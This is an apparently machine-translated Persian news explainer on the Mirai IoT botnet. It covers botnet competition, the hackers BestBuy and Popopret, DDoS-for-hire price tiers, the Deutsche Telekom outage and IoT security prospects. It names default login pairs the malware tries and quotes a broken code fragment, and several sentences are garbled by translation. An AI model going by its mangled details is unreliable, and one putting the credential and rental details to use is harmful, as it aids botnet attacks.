در یک پیشرفت هندسی؟ یعنی در یک سال بات نت ها حاوی تریلیون ها دستگاه خواهند بود؟!

البته نه 😀 واقعیت این است که تعداد دستگاه های اینترنت اشیا محدود است. و این در حال حاضر یک مشکل کاملا فوری است. نویسنده Mirai اذعان می کند که حداکثر تعداد دستگاه های موجود در شبکه او 380 هزار بوده است و پس از چندین حمله، زمانی که کاربران و ارائه دهندگان اقدامات محافظتی را آغاز کردند، تعداد دستگاه ها به 300 هزار کاهش یافت و همچنان رو به کاهش است.

پس از انتشار کد منبع Mirai برای عموم، همه و همه هکرها شروع به استفاده از آن کردند. در حال حاضر، تعداد بات‌نت‌های بزرگ مبتنی بر این تروجان حدود 52 است. لازم به توضیح است که هر دستگاه می‌تواند تنها به یک شبکه تعلق داشته باشد - بلافاصله پس از ضبط دستگاه، بدافزار از آن در برابر آلودگی مجدد محافظت می‌کند. تنها زمانی که یک دستگاه می تواند مالکیت خود را تغییر دهد زمانی است که دستگاه راه اندازی مجدد می شود. به گفته کارشناسان، پس از راه اندازی مجدد، دستگاه ظرف 30 ثانیه دوباره آلوده می شود.

پس اثربخشی Mirai رو به کاهش است؟

آره. هکرها مجبور به رقابت برای مقدار محدودی از منابع هستند که به جای افزایش یافتن (به دلیل اقدامات پیشگیرانه) در حال کاهش است. وضعیت با این واقعیت پیچیده تر می شود که هکرها به شدت خودخواه هستند - بنابراین، پس از اینکه یک سرور کنترل بزرگ (Command and Control، C & C) بات نت به سادگی خاموش شد - اکنون بات نت بی فایده و غیرقابل نفوذ به نظر می رسد. حملات جدید هر یک شبکه جدیدمبتنی بر Mirai کوچکتر از موارد قبلی خواهد بود و تنها قادر به انجام حملات کم قدرت خواهد بود. به عنوان مثال در جریان انتخابات آمریکا حملات ضعیفی به سایت های کلینتون و ترامپ صورت گرفت. آنها هیچ آسیبی وارد نکردند و هیچ کس اصلاً متوجه آنها نشد (به جز شرکتی که به طور خاص بر اقدامات این تروجان نظارت می کند).

واضح است. چه چیز دیگری در مورد این تروجان شناخته شده است؟

این جانشین تروجان دیگری است که به نام های Gafgyt، Lizkebab، BASHLITE، Bash0day، Bashdoor و Torlus شناخته می شود. طبق همین ارتباطات سطح 3، دومی به این دلیل شناخته می شود که می تواند حدود یک میلیون وب کم را تحت کنترل درآورد. همچنین مشخص است که اکثر بات‌نت‌ها از نسخه خالص Mirai استفاده نمی‌کنند، بلکه از نسخه‌های اصلاح‌شده خود استفاده می‌کنند (که کاملاً قابل انتظار است).

یکی دیگر حقیقت جالباین است که کاربران Runet یک ردپای روسی در کد منبع Mirai پیدا کردند - در فایل cnc/admin.go یک خروجی از نظرات به زبان روسی وجود دارد:

cnc/admin.go: this.conn.Write(byte(“\033))

از سوی دیگر، بیشتر شبیه یک شوخی به نظر می رسد - "بررسی حساب ها ..." یک ردیابی آشکار (ترجمه ماشینی؟) با "چک کردن حساب ها" است.

ماه گذشته حملاتی به سایت های بزرگی مانند توییتریا Spotify که آنها را به طور موقت غیرفعال کرد. برای این کار از بات نت استفاده شد. میرای 400-500 هزار دستگاه اینترنت اشیا را متحد می کند. اکنون روزنامه نگاران مادربرد دریافته اند که دو هکر موفق شده اند کنترل بات نت را به دست گرفته و نسخه جدیدی از آن ایجاد کنند - این بات نت در حال حاضر یک میلیون دستگاه را ادغام می کند. قدرت آن توسط مشترکین ارائه دهنده آلمانی تجربه شد دویچه تلکام، که شبکه آن آخر هفته گذشته قطع شد.

شکار میرای

روزنامه نگاران موفق شدند با یکی از این دو هکر مرموز صحبت کنند - او از نام مستعار BestBuy استفاده می کند. در یک چت آنلاین رمزگذاری شده، او به آنها گفت که یک مبارزه واقعی بین هکرها برای کنترل Mirai شکل گرفته است. اخیراً یک آسیب پذیری در نرم افزار او کشف شده است. استفاده از آن، همراه با سرعت، می تواند به BestBuy و شریک آن Popopret اجازه دهد تا کنترل بیشتر بات نت را در دست بگیرند و آن را با دستگاه های جدید تکمیل کنند.

پیش از این، کارشناسان ما کد بات نت Mirai را مطالعه کردند - معلوم شد که به طور خاص برای دستگاه های IoT ایجاد نشده است. نرم افزارهای مخرب به دنبال دستگاه های متصل به شبکه با لاگین و رمزهای عبور پیش فرض (admin:admin، root:password و غیره) می گردند. این بدان معناست که از نظر تئوری، می‌تواند شامل هر دستگاهی از جمله رایانه‌های خانگی و سرورها یا روترها باشد.

دستگاه های اینترنت اشیا- معمولا روترها - بخشی از بات نت Miraiتا زمانی که دوباره راه اندازی شود - سپس کرم از حافظه آنها پاک می شود. با این حال، بات‌نت دائماً اینترنت را برای دستگاه‌های آسیب‌پذیر اسکن می‌کند، به طوری که یک دستگاه «درمان شده» می‌تواند به سرعت دوباره بخشی از آن شود. یک مسابقه واقعی بین هکرها وجود دارد که اولین کسانی باشند که تا حد امکان دستگاه های بیشتری را آلوده می کنند.

هیچ اطلاعاتی در مورد چگونگی پیشی گرفتن سازندگان Mirai جدید از رقبا وجود ندارد. با این حال، آنها به خبرنگاران گفتند که از بات نت خود برای اسکن دستگاه های بالقوه آسیب پذیر، از جمله دستگاه هایی که قبلا بخشی از بات نت بودند، استفاده می کنند.

BestBuy می‌گوید: «چرا Mirai را مجبور نکنیم Mirai را شکار کند و اصل را بخورد.

نه تنها میرای

با این حال، بات‌نت جدید نه تنها دستگاه‌های قدیمی Mirai و دستگاه‌های جدید با رمزهای عبور پیش‌فرض را بلعید. سازندگان آن همچنین از آسیب‌پذیری‌های صفر روزه در میان‌افزار دستگاه‌های IoT استفاده می‌کنند. کارشناسان قبلاً ظهور قریب الوقوع چنین بات نت های "ترکیبی" را پیش بینی کرده بودند.

مبارزه با آنها به طور قابل توجهی پیچیده تر می شود - اگر کاربر دستگاه نهایی فقط برای مقابله با Mirai نیاز به تغییر نام کاربری و رمز عبور داشته باشد، آنگاه نمی تواند به تنهایی با آسیب پذیری های ابزار مقابله کند.

DDoS با سرعت 700 گیگابیت بر ثانیه

هکرهای BestBuy و Popopret شروع به تبلیغ خدمات خود کرده اند - آنها دسترسی به خدمات خود را ارائه می دهند نسخه جدید Mirai ارسال پیام های هرزنامه از طریق XMPP/Jabber،

به گفته هکر، آنها چندین بسته خدمات را به مشتری ارائه می دهند. ارزش ارزان تر $2 000 - برای این پول، مشتریان می توانند از 20000 تا 25000گره‌های بات‌نت برای راه‌اندازی نگهبان‌ها در مدت حداکثر دو هفته با فاصله زمانی بین حملات پانزده دقیقه. پشت $15 000 یا $20 000 مشتریان این فرصت را دارند که در حال حاضر 600000 ربات حملات دو ساعته را با وقفه های 30 یا 15 دقیقه ای انجام دهند. در حالت دوم، قدرت حمله خواهد بود 700 گیگابیت بر ثانیهیا بیشتر.

چشم انداز

ایمنی دستگاه های اینترنت اشیااغلب در سطح نسبتاً پایینی است - این به این دلیل است که فروشندگان اغلب علاقه ای به ارائه اقدامات اضافی ندارند امنیت اطلاعات. آنها سهولت استفاده از محصولات خود را تبلیغ می کنند و تمام اقدامات امنیتی اضافی اطلاعات محدودیت هایی را اعمال می کنند و به منابع نیاز دارند.

همانطور که در بالا ذکر شد، تنها توسعه دهندگان دستگاه های نهایی یا ارائه دهندگان ارائه دهنده آنها (در مورد روترها) می توانند از کاربران در برابر بات نت های پیشرفته تر محافظت کنند. ISP آلمانی Deutsche Telekom که توسط نسخه جدید Mirai ضربه خورد، قبلاً اعلام کرده است که در روابط تجاری با تامین کنندگان روترهای آسیب پذیر "تجدید نظر خواهد کرد". اسپیدپورت، شرکت آرکادیان.

در نهایت، افزایش سطح امنیت اینترنت اشیا از طریق اعمال کنترل دقیق تر دستگاه ها توسط ارائه دهندگان از یک سو و توسعه استانداردها و مستندات نظارتی برای اینترنت اشیا از سوی دیگر امکان پذیر خواهد بود. اقدامات مشابهی قبلاً در بسیاری از کشورها برای اطمینان از ایمنی APCS انجام شده است. اولین قدم ها در این راستا قبلا برداشته شده است - به عنوان مثال، چندین فروشنده IT سندی را در سپتامبر منتشر کردند با عنوان چارچوب امنیت اینترنت صنعتی (IISF)- پیشنهاد می کند اینترنت اشیا را به عنوان بخشی از "اینترنت صنعتی" در نظر بگیریم.

با این حال، راه حل نهایی این موضوع هنوز دور است و هکرها Best Buy و Popopretمی تواند یک انحصار در بزرگ به دست آورد حملات DDoSبرخط. این یک واقعیت نسبتا غم انگیز است، اما خود سارقان، در طی گفتگو با مادربرداعلام کرد که در فعالیت های خود نه تنها با سود، بلکه با اصول اخلاقی هدایت می شوند. بنابراین BestBuy اعلام کرد که به مشتریان اجازه حمله به آدرس های IP شرکت هایی که با زیرساخت های حیاتی کار می کنند را نخواهند داد.




بالا